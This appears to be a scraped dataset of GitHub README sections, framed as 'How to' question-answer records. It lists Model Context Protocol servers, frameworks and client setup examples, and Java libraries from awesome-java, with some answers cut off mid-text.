{"id": "gh_f60019e2a99d", "question": "How to: 🎖️ Official Integrations", "question_body": "About modelcontextprotocol/servers", "answer": "Official integrations are maintained by companies building production ready MCP servers for their platforms.\n\n-\n**[21st.dev Magic](https://github.com/21st-dev/magic-mcp)** - Create crafted UI components inspired by the best 21st.dev design engineers.\n-\n**[2slides](https://github.com/2slides/2slides-mcp)** - An MCP server that provides tools to convert content into slides/PPT/presentation or generate slides/PPT/presentation with user intention.\n-\n**[ActionKit by Paragon](https://github.com/useparagon/paragon-mcp)** - Connect to 130+ SaaS integrations (e.g. Slack, Salesforce, Gmail) with Paragon’s [ActionKit](https://www.useparagon.com/actionkit) API.\n-\n**[Adfin](https://github.com/Adfin-Engineering/mcp-server-adfin)** - The only platform you need to get paid - all payments in one place, invoicing and accounting reconciliations with [Adfin](https://www.adfin.com/).\n-\n**[AgentOps](https://github.com/AgentOps-AI/agentops-mcp)** - Provide observability and tracing for debugging AI agents with [AgentOps](https://www.agentops.ai/) API.\n-\n**[AgentQL](https://github.com/tinyfish-io/agentql-mcp)** - Enable AI agents to get structured data from unstructured web with [AgentQL](https://www.agentql.com/).\n-\n**[AgentRPC](https://github.com/agentrpc/agentrpc)** - Connect to any function, any language, across network boundaries using [AgentRPC](https://www.agentrpc.com/).\n- **[Agentset](https://github.com/agentset-ai/mcp-server)** - RAG for your knowledge base connected to [Agentset](https://agentset.ai).\n-\n**[Airwallex Developer](https://www.npmjs.com/package/@airwallex/developer-mcp)** - Empowers AI coding agents with the tools they need to assist developers integrating with [Airwallex APIs](https://www.airwallex.com/docs/api/)\n-\n**[Aiven](https://github.com/Aiven-Open/mcp-aiven)** - Navigate your [Aiven projects](https://go.aiven.io/mcp-server) and interact with the PostgreSQL®, Apache Kafka®, ClickHouse® and OpenSearch® services\n-\n**[Alation](https://github.com/Alation/alation-ai-agent-sdk)** - Unlock the power of the enterprise Data Catalog by harnessing tools provided by the Alation MCP server.\n-\n**[Alby Bitcoin Payments](https://github.com/getAlby/mcp)** - Connect any bitcoin lightning wallet to your agent to send and receive instant payments globally with your agent.\n- **[Algolia](https://github.com/algolia/mcp)** - Use AI agents to provision, configure, and query your [Algolia](https://algolia.com) search indices.\n-\n**[Alibaba Cloud AnalyticDB for MySQL](https://github.com/aliyun/alibabacloud-adb-mysql-mcp-server)** - Connect to an [AnalyticDB for MySQL](https://www.alibabacloud.com/en/product/analyticdb-for-mysql) cluster for getting database or table metadata, querying and analyzing data. It will be supported to add the OpenAPI for cluster operation in the future.\n-\n**[Alibaba Cloud AnalyticDB for PostgreSQL](https://github.com/aliyun/alibabacloud-adbpg-mcp-server)** - An MCP server to connect to [AnalyticDB for PostgreSQL](https://github.com/aliyun/alibabacloud-adbpg-mcp-server) instances, query and analyze data.\n-\n**[Alibaba Cloud DataWorks](https://github.com/aliyun/alibabacloud-dataworks-mcp-server)** - A Model Context Protocol (MCP) server that provides to", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.761590"}
{"id": "gh_47523f898672", "question": "How to: 🌎 Community Servers", "question_body": "About modelcontextprotocol/servers", "answer": "A growing set of community-developed and maintained servers demonstrates various applications of MCP across different domains.\n\n> [!NOTE]\n> Community servers are **untested** and should be used at **your own risk**. They are not affiliated with or endorsed by Anthropic.\n\n- **[1mcpserver](https://github.com/particlefuture/1mcpserver)** - MCP of MCPs. Automatically discover, configure, and add MCP servers on your local machine.\n- **[1Panel](https://github.com/1Panel-dev/mcp-1panel)** - MCP server implementation that provides 1Panel interaction.\n- **[A2A](https://github.com/GongRzhe/A2A-MCP-Server)** - An MCP server that bridges the Model Context Protocol (MCP) with the Agent-to-Agent (A2A) protocol, enabling MCP-compatible AI assistants (like Claude) to seamlessly interact with A2A agents.\n- **[Ableton Live](https://github.com/Simon-Kansara/ableton-live-mcp-server)** - an MCP server to control Ableton Live.\n- **[Ableton Live](https://github.com/ahujasid/ableton-mcp)** (by ahujasid) - Ableton integration allowing prompt enabled music creation.\n- **[ActivityPub MCP](https://github.com/cameronrye/activitypub-mcp)** - A comprehensive MCP server that enables LLMs to explore and interact with the Fediverse through ActivityPub protocol, supporting actor discovery, timeline fetching, instance exploration, and WebFinger resolution across decentralized social networks.\n- **[Actor Critic Thinking](https://github.com/aquarius-wing/actor-critic-thinking-mcp)** - Actor-critic thinking for performance evaluation\n- **[Adobe Commerce](https://github.com/rafaelstz/adobe-commerce-dev-mcp)** — MCP to interact with Adobe Commerce GraphQL API, including orders, products, customers, etc.\n- **[ADR Analysis](https://github.com/tosin2013/mcp-adr-analysis-server)** - AI-powered Architectural Decision Records (ADR) analysis server that provides architectural insights, technology stack detection, security checks, and TDD workflow enhancement for software development projects.\n- **[Ads MCP](https://github.com/amekala/ads-mcp)** - Remote MCP server for cross-platform ad campaign creation (Google Ads Search & PMax, TikTok). OAuth 2.1 authentication with progress streaming support for long-running operations. [Website](https://www.adspirer.com/)\n- **[Agent Interviews](https://github.com/thinkchainai/agentinterviews_mcp)** - Conduct AI-powered qualitative research interviews and surveys at scale with [Agent Interviews](https://agentinterviews.com).\n- **[AgentBay](https://github.com/Michael98671/agentbay)** - An MCP server for providing serverless cloud infrastructure for AI agents.\n- **[Agentic Framework](https://github.com/Piotr1215/mcp-agentic-framework)** - Multi-agent collaboration framework enabling AI agents to register, discover each other, exchange asynchronous messages via HTTP transport, and work together on complex tasks with persistent message history.\n- **[AgentMode](https://www.agentmode.app)** - Connect to dozens of databases, data warehouses, Github & more, from a single MCP server.  Run the Docker image locally, in the cloud, or on-premise.\n- **[AI Agent Marketplace Index](https://github.com/AI-Agent-Hub/ai-agent-marketplace-index-mcp)** - MCP server to search more than 5000+ AI agents and tools of various categories from [AI Agent Marketplace Index](http://www.deepnlp.org/store/ai-agent) and monitor traffic of AI Agents.\n- **[AI Endurance](https://github.com/ai-endurance/mcp)** - AI-powered training platform for runners, cyclists, and triathletes with over 20 tools for workout management, activity analysis, performance predictions, and recovery tracking.\n- **[AI Tasks](https://github.com/jbrinkman/valkey-ai-tasks)** - Let the AI manage complex plans with integrated task management and tracking tools. Supports STDIO, SSE and Streamable HTTP transports.\n- **[ai-Bible](https://github.com/AdbC99/ai-bible)** - Search the bible reliably and repeatably [ai-Bible Labs](https://ai-bible.com)\n- **[Airbnb](https://github.com/openbnb-org/mcp-server-airbnb)** - Provides tools to search Airbnb and get listing details.\n- **[Airflow](https://github.com/yangkyeongmo/mcp-server-apache-airflow)** - An MCP Server that connects to [Apache Airflow](https://airflow.apache.org/) using official python client.\n- **[Airtable](https://github.com/domdomegg/airtable-mcp-server)** - Read and write access to [Airtable](https://airtable.com/) databases, with schema inspection.\n- **[Airtable](https://github.com/felores/airtable-mcp)** - Airtable Model Context Protocol Server.\n- **[Algorand](https://github.com/GoPlausible/algorand-mcp)** - A comprehensive MCP server for tooling interactions (40+) and resource accessibility (60+) plus many useful prompts for interacting with the Algorand blockchain.\n- **[Amadeus](https://github.com/donghyun-chae/mcp-amadeus)** (by donghyun-chae) - An MCP server to access, explore, and interact with Amadeus Flight Offers Search API for retrieving detailed flight options, including airline, times, duration, and pricing data.\n- *", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762833"}
{"id": "gh_90eb3360245f", "question": "How to: 📚 Frameworks", "question_body": "About modelcontextprotocol/servers", "answer": "These are high-level frameworks that make it easier to build MCP servers or clients.", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762848"}
{"id": "gh_50a1e4b18771", "question": "How to: For servers", "question_body": "About modelcontextprotocol/servers", "answer": "* **[Anubis MCP](https://github.com/zoedsoupe/anubis-mcp)** (Elixir) - A high-performance and high-level Model Context Protocol (MCP) implementation in Elixir. Think like \"Live View\" for MCP.\n* **[ModelFetch](https://github.com/phuctm97/modelfetch/)** (TypeScript) - Runtime-agnostic SDK to create and deploy MCP servers anywhere TypeScript/JavaScript runs\n* **[EasyMCP](https://github.com/zcaceres/easy-mcp/)** (TypeScript)\n* **[FastAPI to MCP auto generator](https://github.com/tadata-org/fastapi_mcp)** – A zero-configuration tool for automatically exposing FastAPI endpoints as MCP tools by **[Tadata](https://tadata.com/)**\n* **[FastMCP](https://github.com/punkpeye/fastmcp)** (TypeScript)\n* **[Foobara MCP Connector](https://github.com/foobara/mcp-connector)** - Easily expose Foobara commands written in Ruby as tools via MCP\n* **[Foxy Contexts](https://github.com/strowk/foxy-contexts)** – A library to build MCP servers in Golang by **[strowk](https://github.com/strowk)**\n* **[Higress MCP Server Hosting](https://github.com/alibaba/higress/tree/main/plugins/wasm-go/mcp-servers)** - A solution for hosting MCP Servers by extending the API Gateway (based on Envoy) with wasm plugins.\n* **[MCP Declarative Java SDK](https://github.com/codeboyzhou/mcp-declarative-java-sdk)** Annotation-driven MCP servers development with Java, no Spring Framework Required, minimize dependencies as much as possible.\n* **[MCP-Framework](https://mcp-framework.com)** Build MCP servers with elegance and speed in TypeScript. Comes with a CLI to create your project with `mcp create app`. Get started with your first server in under 5 minutes by **[Alex Andru](https://github.com/QuantGeekDev)**\n* **[MCP Plexus](https://github.com/Super-I-Tech/mcp_plexus)**: A secure, **multi-tenant** and Multi-user MCP python server framework built to integrate easily with external services via OAuth 2.1, offering scalable and robust solutions for managing complex AI applications.\n* **[mcp_sse (Elixir)](https://github.com/kEND/mcp_sse)** An SSE implementation in Elixir for rapidly creating MCP servers.\n* **[mxcp](https://github.com/raw-labs/mxcp)** (Python) - Open-source framework for building enterprise-grade MCP servers using just YAML, SQL, and Python, with built-in auth, monitoring, ETL and policy enforcement.\n* **[Next.js MCP Server Template](https://github.com/vercel-labs/mcp-for-next.js)** (Typescript) - A starter Next.js project that uses the MCP Adapter to allow MCP clients to connect and access resources.\n* **[PayMCP](https://github.com/blustAI/paymcp)** (Python & TypeScript) - Lightweight payments layer for MCP servers: turn tools into paid endpoints with a two-line decorator. [PyPI](https://pypi.org/project/paymcp/) · [npm](https://www.npmjs.com/package/paymcp) · [TS repo](https://github.com/blustAI/paymcp-ts)\n* **[Perl SDK](https://github.com/mojolicious/mojo-mcp)** - An SDK for building MCP servers and clients with the Perl programming language.\n* **[Quarkus MCP Server SDK](https://github.com/quarkiverse/quarkus-mcp-server)** (Java)\n- **[R mcptools](https://github.com/posit-dev/mcptools)** - An R SDK for creating R-based MCP servers and retrieving functionality from third-party MCP servers as R functions.\n* **[SAP ABAP MCP Server SDK](https://github.com/abap-ai/mcp)** - Build SAP ABAP based MCP servers. ABAP 7.52 based with 7.02 downport; runs on R/3 & S/4HANA on-premises, currently not cloud-ready.\n* **[Spring AI MCP Server](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html)** - Provides auto-configuration for setting up an MCP server in Spring Boot applications.\n* **[Template MCP Server](https://github.com/mcpdotdirect/template-mcp-server)** - A CLI tool to create a new Model Context Protocol server project with TypeScript support, dual transport options, and an extensible structure\n* **[AgentR Universal MCP SDK](https://github.com/universal-mcp/universal-mcp)** - A python SDK to build MCP Servers with inbuilt credential management by **[Agentr](https://agentr.dev/home)**\n* **[Vercel MCP Adapter](https://github.com/vercel/mcp-adapter)** (TypeScript) - A simple package to start serving an MCP server on most major JS meta-frameworks including Next, Nuxt, Svelte, and more.\n* **[PHP MCP Server](https://github.com/php-mcp/server)** (PHP) - Core PHP implementation for the Model Context Protocol (MCP) server", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762866"}
{"id": "gh_b900bc5caabd", "question": "How to: For clients", "question_body": "About modelcontextprotocol/servers", "answer": "* **[codemirror-mcp](https://github.com/marimo-team/codemirror-mcp)** - CodeMirror extension that implements the Model Context Protocol (MCP) for resource mentions and prompt commands\n* **[llm-analysis-assistant](https://github.com/xuzexin-hz/llm-analysis-assistant)**\n- A very streamlined mcp client that supports calling and monitoring stdio/sse/streamableHttp, and can also view request responses through the /logs page. It also supports monitoring and simulation of ollama/openai interface.\n* **[MCP-Agent](https://github.com/lastmile-ai/mcp-agent)** - A simple, composable framework to build agents using Model Context Protocol by **[LastMile AI](https://www.lastmileai.dev)**\n* **[Spring AI MCP Client](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-client-boot-starter-docs.html)** - Provides auto-configuration for MCP client functionality in Spring Boot applications.\n* **[MCP CLI Client](https://github.com/vincent-pli/mcp-cli-host)** - A CLI host application that enables Large Language Models (LLMs) to interact with external tools through the Model Context Protocol (MCP).\n* **[OpenMCP Client](https://github.com/LSTM-Kirigaya/openmcp-client/)** - An all-in-one vscode/trae/cursor plugin for MCP server debugging. [Document](https://kirigaya.cn/openmcp/) & [OpenMCP SDK](https://kirigaya.cn/openmcp/sdk-tutorial/).\n* **[PHP MCP Client](https://github.com/php-mcp/client)** - Core PHP implementation for the Model Context Protocol (MCP) Client\n* **[Runbear](https://runbear.io/solutions/integrations/slack/mcp)** - No-code MCP client for team chat platforms, such as Slack, Microsoft Teams, and Discord.", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762874"}
{"id": "gh_6660e2a095fa", "question": "How to: 📚 Resources", "question_body": "About modelcontextprotocol/servers", "answer": "Additional resources on MCP.\n\n- **[A2A-MCP Java Bridge](https://github.com/vishalmysore/a2ajava)** - A2AJava brings powerful A2A-MCP integration directly into your Java applications. It enables developers to annotate standard Java methods and instantly expose them as MCP Server, A2A-discoverable actions — with no boilerplate or service registration overhead.\n- **[AiMCP](https://www.aimcp.info)** - A collection of MCP clients&servers to find the right mcp tools by **[Hekmon](https://github.com/hekmon8)**\n- **[Awesome Crypto MCP Servers by badkk](https://github.com/badkk/awesome-crypto-mcp-servers)** - A curated list of MCP servers by **[Luke Fan](https://github.com/badkk)**\n- **[Awesome MCP Servers by appcypher](https://github.com/appcypher/awesome-mcp-servers)** - A curated list of MCP servers by **[Stephen Akinyemi](https://github.com/appcypher)**\n- **[Awesome MCP Servers by punkpeye](https://github.com/punkpeye/awesome-mcp-servers)** (**[website](https://glama.ai/mcp/servers)**) - A curated list of MCP servers by **[Frank Fiegel](https://github.com/punkpeye)**\n- **[Awesome MCP Servers by wong2](https://github.com/wong2/awesome-mcp-servers)** (**[website](https://mcpservers.org)**) - A curated list of MCP servers by **[wong2](https://github.com/wong2)**\n- **[Awesome Remote MCP Servers by JAW9C](https://github.com/jaw9c/awesome-remote-mcp-servers)** - A curated list of **remote** MCP servers, including their authentication support by **[JAW9C](https://github.com/jaw9c)**\n- **[Discord Server](https://glama.ai/mcp/discord)** – A community discord server dedicated to MCP by **[Frank Fiegel](https://github.com/punkpeye)**\n- **[Discord Server (ModelContextProtocol)](https://discord.gg/jHEGxQu2a5)** – Connect with developers, share insights, and collaborate on projects in an active Discord community dedicated to the Model Context Protocol by **[Alex Andru](https://github.com/QuantGeekDev)**\n- **[Install This MCP](https://installthismcp.com)** - Reduce Installation Friction with beautiful installation guides\n-\n**[Klavis AI](https://www.klavis.ai)** - Open Source MCP Infra. Hosted MCP servers and MCP clients on Slack and Discord.\n- **[MCP Badges](https://github.com/mcpx-dev/mcp-badges)** – Quickly highlight your MCP project with clear, eye-catching badges, by **[Ironben](https://github.com/nanbingxyz)**\n-\n**[MCPProxy](https://github.com/smart-mcp-proxy/mcpproxy-go)** - Open-source local app that enables access to multiple MCP servers and thousands of tools with intelligent discovery via MCP protocol, runs servers in isolated environments, and features automatic quarantine protection against malicious tools.\n- **[MCPRepository.com](https://mcprepository.com/)** - A repository that indexes and organizes all MCP servers for easy discovery.\n- **[mcp-cli](https://github.com/wong2/mcp-cli)** - A CLI inspector for the Model Context Protocol by **[wong2](https://github.com/wong2)**\n- **[mcp-dockmaster](https://mcp-dockmaster.com)** - An Open-Sourced UI to install and manage MCP servers for Windows, Linux and macOS.\n- **[mcp-get](https://mcp-get.com)** - Command line tool for installing and managing MCP servers by **[Michael Latman](https://github.com/michaellatman)**\n- **[mcp-guardian](https://github.com/eqtylab/mcp-guardian)** - GUI application + tools for proxying / managing control of MCP servers by **[EQTY Lab](https://eqtylab.io)**\n- **[MCP Linker](https://github.com/milisp/mcp-linker)** - A cross-platform Tauri GUI tool for one-click setup and management of MCP servers, supporting Claude Desktop, Cursor, Windsurf, VS Code, Cline, and Neovim.\n- **[mcp-manager](https://github.com/zueai/mcp-manager)** - Simple Web UI to install and manage MCP servers for Claude Desktop by **[Zue](https://github.com/zueai)**\n- **[MCP Marketplace Web Plugin](https://github.com/AI-Agent-Hub/mcp-marketplace)** MCP Marketplace is a small Web UX plugin to integrate with AI applications, Support various MCP Server API Endpoint (e.g pulsemcp.com/deepnlp.org and more). Allowing user to browse, paginate and select various MCP servers by different categories. [Pypi](https://pypi.org/project/mcp-marketplace) | [Maintainer](https://github.com/AI-Agent-Hub) | [Website](http://www.deepnlp.org/store/ai-agent/mcp-server)\n- **[mcp.natoma.ai](https://mcp.natoma.ai)** – A Hosted MCP Platform to discover, install, manage and deploy MCP servers by **[Natoma Labs](https://www.natoma.ai)**\n- **[mcp.run](https://mcp.run)** - A hosted registry and control plane to install & run secure + portable MCP Servers.\n- **[MCPHub](https://www.mcphub.com)** - Website to list high quality MCP servers and reviews by real users. Also provide online chatbot for popular LLM models with MCP server support.\n- **[MCP Router](https://mcp-router.net)** – Free Windo", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762904"}
{"id": "gh_bef982b9d756", "question": "How to: Using MCP Servers in this Repository", "question_body": "About modelcontextprotocol/servers", "answer": "TypeScript-based servers in this repository can be used directly with `npx`.\n\nFor example, this will start the [Memory](src/memory) server:\n```sh\nnpx -y @modelcontextprotocol/server-memory\n```\n\nPython-based servers in this repository can be used directly with [`uvx`](https://docs.astral.sh/uv/concepts/tools/) or [`pip`](https://pypi.org/project/pip/). `uvx` is recommended for ease of use and setup.\n\nFor example, this will start the [Git](src/git) server:\n```sh", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 76385, "answer_score": 10, "has_code": true, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762911"}
{"id": "gh_02f78fb3c62e", "question": "How to: Using an MCP Client", "question_body": "About modelcontextprotocol/servers", "answer": "However, running a server on its own isn't very useful, and should instead be configured into an MCP client. For example, here's the Claude Desktop configuration to use the above server:\n\n```json\n{\n  \"mcpServers\": {\n    \"memory\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"@modelcontextprotocol/server-memory\"]\n    }\n  }\n}\n```\n\nAdditional examples of using the Claude Desktop as an MCP client might look like:\n\n```json\n{\n  \"mcpServers\": {\n    \"filesystem\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n    },\n    \"git\": {\n      \"command\": \"uvx\",\n      \"args\": [\"mcp-server-git\", \"--repository\", \"path/to/git/repo\"]\n    },\n    \"github\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"@modelcontextprotocol/server-github\"],\n      \"env\": {\n        \"GITHUB_PERSONAL_ACCESS_TOKEN\": \"\n\"\n      }\n    },\n    \"postgres\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"@modelcontextprotocol/server-postgres\", \"postgresql://localhost/mydb\"]\n    }\n  }\n}\n```", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 76385, "answer_score": 10, "has_code": true, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762920"}
{"id": "gh_fd647b3709ff", "question": "How to: 🛠️ Creating Your Own Server", "question_body": "About modelcontextprotocol/servers", "answer": "Interested in creating your own MCP server? Visit the official documentation at [modelcontextprotocol.io](https://modelcontextprotocol.io/introduction) for comprehensive guides, best practices, and technical details on implementing MCP servers.", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762926"}
{"id": "gh_f82e1ee2c7b1", "question": "How to: 🤝 Contributing", "question_body": "About modelcontextprotocol/servers", "answer": "See [CONTRIBUTING.md](CONTRIBUTING.md) for information about contributing to this repository.", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762931"}
{"id": "gh_07ee3719f815", "question": "How to: 🔒 Security", "question_body": "About modelcontextprotocol/servers", "answer": "See [SECURITY.md](SECURITY.md) for reporting security vulnerabilities.", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762935"}
{"id": "gh_6636a8c59fec", "question": "How to: 💬 Community", "question_body": "About modelcontextprotocol/servers", "answer": "- [GitHub Discussions](https://github.com/orgs/modelcontextprotocol/discussions)", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.762940"}
{"id": "gh_4ac782a0f05f", "question": "How to: Architecture", "question_body": "About akullpp/awesome-java", "answer": "_Frameworks and libraries that help implementing and verifying design and architecture concepts._\n\n- [ArchUnit](https://github.com/TNG/ArchUnit) - Test library for specifying and asserting architecture rules.\n- [jMolecules](https://github.com/xmolecules/jmolecules) - Annotations and interfaces to express design and architecture concepts in code.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.915940"}
{"id": "gh_195106417d9b", "question": "How to: Artificial Intelligence", "question_body": "About akullpp/awesome-java", "answer": "_Frameworks that help you to leverage LLMs and AI._\n\n- [LangChain4j](https://github.com/langchain4j/langchain4j) - Simplifies integration of LLMs with unified APIs and a comprehensive toolbox.\n- [MCP Java SDK](https://github.com/modelcontextprotocol/java-sdk) - Enables applications to interact with AI models and tools through a standardized interface (i.e. Model Context Protocol), supporting both synchronous and asynchronous communication patterns.\n- [simple-openai](https://github.com/sashirestela/simple-openai) - Library to use the OpenAI API (and compatible ones) in the simplest possible way.\n- [Spring AI](https://spring.io/projects/spring-ai) - Application framework for AI engineering for Spring.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.915956"}
{"id": "gh_7219b7fe94c6", "question": "How to: Bean Mapping", "question_body": "About akullpp/awesome-java", "answer": "_Frameworks that ease bean mapping._\n\n- [dOOv](https://github.com/doov-io/doov) - Provides fluent API for typesafe domain model validation and mapping. It uses annotations, code generation and a type safe DSL to make bean validation and mapping fast and easy.\n- [JMapper](https://github.com/jmapper-framework/jmapper-core) - Uses byte code manipulation for lightning-fast mapping. Supports annotations and API or XML configuration.\n- [MapStruct](https://github.com/mapstruct/mapstruct) - Code generator that simplifies mappings between different bean types, based on a convention-over-configuration approach.\n- [ModelMapper](https://github.com/modelmapper/modelmapper) - Intelligent object mapping library that automatically maps objects to each other.\n- [Orika](https://github.com/orika-mapper/orika) - JavaBean-mapping framework that recursively copies (among other capabilities) data from one object to another.\n- [reMap](https://github.com/remondis-it/remap) - Lambda and method handle-based mapping which requires code and not annotations if objects have different names.\n- [Selma](https://github.com/xebia-france/selma) - Annotation processor-based bean mapper.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.915966"}
{"id": "gh_2beecba56d09", "question": "How to: Bytecode Manipulation", "question_body": "About akullpp/awesome-java", "answer": "_Libraries to manipulate bytecode programmatically._\n\n- [ASM](https://asm.ow2.io) - All-purpose, low-level bytecode manipulation and analysis.\n- [Byte Buddy](https://bytebuddy.net) - Further simplifies bytecode generation with a fluent API.\n- [bytecode-viewer](https://github.com/Konloch/bytecode-viewer) - Java 8 Jar & Android APK reverse engineering suite. (GPL-3.0-only)\n- [Byteman](https://byteman.jboss.org) - Manipulate bytecode at runtime via DSL (rules); mainly for testing/troubleshooting. (LGPL-2.1-or-later)\n- [cglib](https://github.com/cglib/cglib) - Bytecode generation library.\n- [Javassist](https://github.com/jboss-javassist/javassist) - Tries to simplify bytecode editing.\n- [Maker](https://github.com/cojen/maker) - Provides low level bytecode generation.\n- [Mixin](https://github.com/SpongePowered/Mixin) - Manipulate bytecode at runtime using real Java code.\n- [Perses](https://github.com/nicolasmanic/perses) - Dynamically injects failure/latency at the bytecode level according to principles of chaos engineering.\n- [Recaf](https://www.coley.software/Recaf/) - JVM reverse engineering toolkit, essentially an IDE for Java bytecode.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.915975"}
{"id": "gh_e4a4fad7932e", "question": "How to: Code Analysis", "question_body": "About akullpp/awesome-java", "answer": "_Tools that provide metrics and quality measurements._\n\n- [Checkstyle](https://github.com/checkstyle/checkstyle) - Static analysis of coding conventions and standards. (LGPL-2.1-or-later)\n- [Error Prone](https://github.com/google/error-prone) - Catches common programming mistakes as compile-time errors.\n- [Error Prone Support](https://github.com/PicnicSupermarket/error-prone-support) - Error Prone extensions: extra bug checkers and a large battery of Refaster templates.\n- [Infer](https://github.com/facebook/infer) - Modern static analysis tool for verifying the correctness of code.\n- [jQAssistant](https://jqassistant.org) - Static code analysis with Neo4J-based query language. (GPL-3.0-only)\n- [NullAway](https://github.com/uber/NullAway) - Eliminates NullPointerExceptions with low build-time overhead.\n- [PMD](https://github.com/pmd/pmd) - Source code analysis for finding bad coding practices.\n- [p3c](https://github.com/alibaba/p3c) - Provides Alibaba's coding guidelines for PMD, IDEA and Eclipse.\n- [RefactorFirst](https://github.com/jimbethancourt/RefactorFirst) - Identifies and prioritizes God Classes and Highly Coupled classes.\n- [SonarJava](https://github.com/SonarSource/sonar-java) - Static analyzer for SonarQube & SonarLint. (LGPL-3.0-only)\n- [Spoon](https://github.com/INRIA/spoon) - Library for analyzing and transforming Java source code.\n- [Spotbugs](https://github.com/spotbugs/spotbugs) - Static analysis of bytecode to find potential bugs. (LGPL-2.1-only)", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.915986"}
{"id": "gh_3a595d5f9c63", "question": "How to: Code Coverage", "question_body": "About akullpp/awesome-java", "answer": "_Frameworks and tools that enable code coverage metrics collection for test suites._\n\n- [Clover](https://www.atlassian.com/software/clover) - Relies on source-code instrumentation instead of bytecode instrumentation.\n- [Cobertura](https://cobertura.github.io/cobertura/) - Relies on offline (or static) bytecode instrumentation and class loading to collect code coverage metrics. (GPL-2.0-only)\n- [JaCoCo](https://www.eclemma.org/jacoco/) - Framework that enables collection of code coverage metrics, using both offline and runtime bytecode instrumentation.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.915992"}
